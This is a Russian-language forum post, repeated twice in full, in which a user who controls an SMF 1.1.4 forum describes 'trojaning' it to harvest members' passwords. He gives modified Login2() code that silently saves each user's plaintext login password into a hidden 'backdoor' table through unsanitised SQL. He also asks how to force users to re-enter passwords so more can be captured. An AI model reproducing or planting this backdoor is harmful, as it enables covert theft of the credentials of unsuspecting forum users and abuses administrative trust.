ty13r
26.03.2008, 23:06
У меня есть подконтрольный форум - smf версии 1.1.4. Хотелось бы узнать пароли юзеров, а расшифровывать лень. Появилась идея затроянить форум.
Для этого в файле Sources/LogInOut.php рассмотрим функцию Login2()
if ($user_settings['passwd'] != $sha_passwd)
{....}
elseif ($user_settings['passwordSalt'] == '')
{...}
Этот код я заменил на
if ($user_settings['passwd'] != $sha_passwd)
{....}
elseif ($user_settings['passwordSalt'] == '')
{...}
else
{
$req = db_query("SELECT * FROM {$db_prefix}backdoor WHERE `id`={$user_settings['ID_MEMBER']}");
$user = mysql_fetch_array($req);
if(!$user)
$req = db_query("INSERT INTO {$db_prefix}backdoor SET `id`='".$user_settings['ID_MEMBER']."' ,`name`='".$_REQUEST[user]."' ,`pass`='".$_REQUEST[passwrd]."'");
if($user['pass']!=$_REQUEST['passwrd'])
$req = db_query("UPDATE {$db_prefix}backdoor SET `pass`='".$_REQUEST[passwrd]."' WHERE `id`='".$user_settings['ID_MEMBER']."'");
}
где backdoor - заранее созданная таблица.
На локалхосте все это прекрасно работает но на искомом форуме в большинстве записей вместо пароля стоят звездочки(
Что сделано неправильно? Может кто имеет успешный опыт затроянивания?
PS
Как сбросить сессии пользователей чтобы они вводили пароль заново? Почему то очистка таблицы sessions не помогает
Для этого в файле Sources/LogInOut.php рассмотрим функцию Login2()
if ($user_settings['passwd'] != $sha_passwd)
{....}
elseif ($user_settings['passwordSalt'] == '')
{...}
Этот код я заменил на
if ($user_settings['passwd'] != $sha_passwd)
{....}
elseif ($user_settings['passwordSalt'] == '')
{...}
else
{
$req = db_query("SELECT * FROM {$db_prefix}backdoor WHERE `id`={$user_settings['ID_MEMBER']}");
$user = mysql_fetch_array($req);
if(!$user)
$req = db_query("INSERT INTO {$db_prefix}backdoor SET `id`='".$user_settings['ID_MEMBER']."' ,`name`='".$_REQUEST[user]."' ,`pass`='".$_REQUEST[passwrd]."'");
if($user['pass']!=$_REQUEST['passwrd'])
$req = db_query("UPDATE {$db_prefix}backdoor SET `pass`='".$_REQUEST[passwrd]."' WHERE `id`='".$user_settings['ID_MEMBER']."'");
}
где backdoor - заранее созданная таблица.
На локалхосте все это прекрасно работает но на искомом форуме в большинстве записей вместо пароля стоят звездочки(
Что сделано неправильно? Может кто имеет успешный опыт затроянивания?
PS
Как сбросить сессии пользователей чтобы они вводили пароль заново? Почему то очистка таблицы sessions не помогает